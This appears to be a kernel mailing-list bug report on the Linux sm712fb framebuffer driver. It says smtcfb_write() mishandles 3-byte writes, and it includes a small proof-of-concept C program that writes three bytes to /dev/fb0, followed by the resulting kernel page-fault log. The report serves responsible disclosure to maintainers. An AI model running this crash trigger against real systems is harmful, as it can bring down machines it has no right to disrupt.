Hi,

I found a minor in the smtcfb_write() function of the driver sm712fb. This write function can not handle the case that the size of the buffer is 3 and does not check for it, which may cause a page fault.

Here is a simple PoC:

#include <endian.h> #include <fcntl.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/types.h> #include <unistd.h>

int main(void) { int fd = open("/dev/fb0", O_RDWR); write(fd, "000", 3);

return 0; }

The following log reveals it:

[ 1830.917859] BUG: unable to handle page fault for address: ffffc90001ffffff [ 1830.918481] #PF: supervisor write access in kernel mode [ 1830.919005] #PF: error_code(0x0002) - not-present page [ 1830.921941] RIP: 0010:smtcfb_write+0x2c0/0x460 [ 1830.930156] Call Trace: [ 1830.930364] <TASK> [ 1830.930543] vfs_write+0x291/0xd60 [ 1830.930835] ? do_sys_openat2+0x27d/0x350 [ 1830.931192] ? __fget_light+0x54/0x340 [ 1830.931504] ksys_write+0xce/0x190 [ 1830.931784] do_syscall_64+0x43/0x90

Regards, Zheyu Ma